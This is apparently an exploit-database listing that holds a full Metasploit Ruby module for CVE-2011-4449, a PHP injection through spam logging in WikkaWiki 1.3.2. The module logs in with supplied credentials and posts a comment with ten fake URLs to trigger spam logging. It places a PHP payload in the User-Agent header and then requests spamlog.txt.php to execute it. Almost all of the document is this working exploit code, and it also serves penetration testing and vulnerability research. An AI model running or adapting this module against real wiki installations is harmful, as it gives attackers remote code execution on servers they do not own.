WikkaWiki 1.3.2 Spam Logging PHP Injection



EKU-ID: 2112 CVE: 2011-4449 OSVDB-ID: 77391
Author: sinn3r Published: 2012-05-14 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
   'Description'    => %q{
     This module exploits a vulnerability found in WikkaWiki.  When the spam logging
    feature is enabled, it is possible to inject PHP code into the spam log file via the
    UserAgent header , and then request it to execute our payload.  There are at least
    three different ways to trigger spam protection, this module does so by generating
    10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).

     Please note that in order to use the injection, you must manually pick a page
    first that allows you to add a comment, and then set it as 'PAGE'.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'EgiX',   #Initial discovery, PoC
     'sinn3r'  #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2011-4449'],
     ['OSVDB', '77391'],
     ['EDB', '18177'],
     ['URL', 'http://wush.net/trac/wikka/ticket/1098']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Arch'           => ARCH_PHP,
   'Platform'       => ['php'],
   'Targets'        =>
    [
     ['WikkaWiki 1.3.2 r1814', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Nov 30 2011",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('USERNAME',  [true, 'WikkaWiki username']),
    OptString.new('PASSWORD',  [true, 'WikkaWiki password']),
    OptString.new('PAGE',      [true, 'Page to inject']),
    OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
   ], self.class)
 end


 def check
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => "#{target_uri.path}wikka.php?wakka=HomePage"
  })

  if res and res.body =~ /Powered by WikkaWiki/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end


 #
 # Get the cookie before we do any of that login/exploity stuff
 #
 def get_cookie
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => "#{@base}wikka.php"
  })

  # Get the cookie in this format:
  # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
  if res and res.headers['Set-Cookie']
   cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
  else
   raise RuntimeError, "#{@peer} - No cookie found, will not continue"
  end

  cookie
 end


 #
 # Do login, and then return the cookie that contains our credential
 #
 def login(cookie)
  # Send a request to the login page so we can obtain some hidden values needed for login
  uri = "#{@base}wikka.php?wakka=UserSettings"
  res = send_request_raw({
   'method'  => 'GET',
   'uri'     => uri,
   'cookie'  => cookie
  })

  # Extract the hidden fields
  login = {}
  if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
   fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
   fields.each do |name, value|
    login[name] = value
   end
  else
   raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"
  end

  # Add the rest of fields required for login
  login['action']       = 'login'
  login['name']         = datastore['USERNAME']
  login['password']     = datastore['PASSWORD']
  login['do_redirect']  = 'on'
  login['submit']       = "Login"
  login['confpassword'] = ''
  login['email']        = ''

  port = (rport.to_i == 80) ? "" : ":#{rport}"
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => uri,
   'cookie'    => cookie,
   'headers'   => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
   'vars_post' => login
  })

  if res and res.headers['Set-Cookie'] =~ /user_name/
   user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
   pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
   cookie_cred = "#{cookie}; #{user}; #{pass}"
  else
   cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
   raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""
  end

  return cookie_cred
 end


 #
 # After login, we inject the PHP payload
 #
 def inject_exec(cookie)
  # Get the necessary fields in order to post a comment
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",
   'cookie' => cookie
  })

  fields = {}
  if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
   $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
    fields[n] = v
   end
  else
   raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"
  end

  # Generate enough URLs to trigger spam logging
  urls = ''
  10.times do |i|
   urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
  end

  # Add more fields
  fields['body']   = urls
  fields['submit'] = 'Add'

  # Inject payload
  b64_payload = Rex::Text.encode_base64(payload.encoded)
  port = (rport.to_i == 80) ? "" : ":#{rport}"
  uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"
  post_data = ""
  send_request_cgi({
   'method'    => 'POST',
   'uri'       => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",
   'cookie'    => cookie,
   'headers'   => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
   'vars_post' => fields,
   'agent'     => "<?php #{payload.encoded} ?>"
  })

  send_request_raw({
   'method' => 'GET',
   'uri'    => "#{@base}spamlog.txt.php"
  })
 end


 def exploit
  @peer = "#{rhost}:#{rport}"

  @base = target_uri.path
  @base << '/' if @base[-1, 1] != '/'

  print_status("#{@peer} - Getting cookie")
  cookie = get_cookie

  print_status("#{@peer} - Logging in")
  cred = login(cookie)

  print_status("#{@peer} - Triggering spam logging")
  inject_exec(cred)

  handler
 end
end


=begin
For testing:
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka

Open wikka.config.php, do:
'spam_logging' => '1'
=end